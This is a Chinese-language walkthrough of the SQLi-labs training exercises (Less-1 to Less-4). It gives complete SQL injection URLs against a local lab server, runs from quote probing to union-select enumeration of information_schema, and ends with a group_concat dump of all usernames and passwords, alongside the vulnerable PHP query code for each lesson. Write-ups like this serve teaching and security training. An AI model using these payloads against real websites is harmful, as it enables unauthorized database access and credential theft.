#输入下列url访问,可以看到回显的用户名和密码 http://192.168.200.174/sqli-labs-master/Less-1/?id=1
#输入单引号后报错 http://192.168.200.174/sqli-labs-master/Less-1/?id=1'
说明存在sql字符型注入漏洞。
盲猜漏洞类型时可以在后面加and 1=1,and 1=2分别查看页面是否正常,前者正常,后者不正常,说明存在该类型注入漏洞,否则要修改id类型再进行测试。
http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 3 --+ http://192.168.200.174/sqli-labs-master/Less-1/?id=1' order by 4 --+
–+注释,mysql中原来的注释为-- (–空格),但由于url中,如果在最后加上空格,浏览器发请求时会将末尾的空格舍去,所以用–+代替-- ,因为+在url中被编码后会变成空格。
猜解列数,3列正常,4列错误,即列数为3。 因为源码中有mysql_fetch_array()函数从结果集中取得一行作为关联数组,所以如果后接1’ union select 1,2,3 --+查询会始终取第一行数据。
只要SELECT * FROM users WHERE id=’$id’没有数据,页面就可以显示SELECT 1,2,3的结果。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);所以可以在union语句前加上恒假的and 1=2,或id置为不存在的-1即可发现回显点。 此时2,3可回显数据,说明可以利用该位置来进行注入查询。 查询到数据库名为security。
MySQL 中存储所有数据库名、所有表名、所有字段名的系统数据库叫 information_schema,这是在 MySQL 数据库初始化就存在的系统库。库里存储数据库名、表名、字段名的表分别为 schemata、tables、columns(原始表名为大写,但小写也能取到数据)。
表名关键字段schemataschema_name [数据库名]tablestable_schema [数据库名],table_name [表名]columnstable_schema [数据库名],table_name [表名],column_name [列名]从information_schema数据库里查询表信息: http://192.168.200.174/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
从information_schema数据库中查出存在emails,referers,uagents,users四张表。 查询各表的字段信息: http://192.168.200.174/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询数据库版本、用户等信息: group_concat拼接获取全部用户名、密码信息 : http://192.168.200.174/sqli-labs-master/Less-1/?id=-1' union select 1,2, group_concat(username,':', password) from security.users --+
部分源码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);注入步骤类似Less-1,去掉1后的引号即可。 整型注入,id=2-1即id=1,显示的是id为1的数据;字符型注入,id=2-1,显示的是id为2的数据。
部分代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);需要用–+注释后面内容,后续部分类似Less-1。
部分源码:
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);其余步骤同Less-1。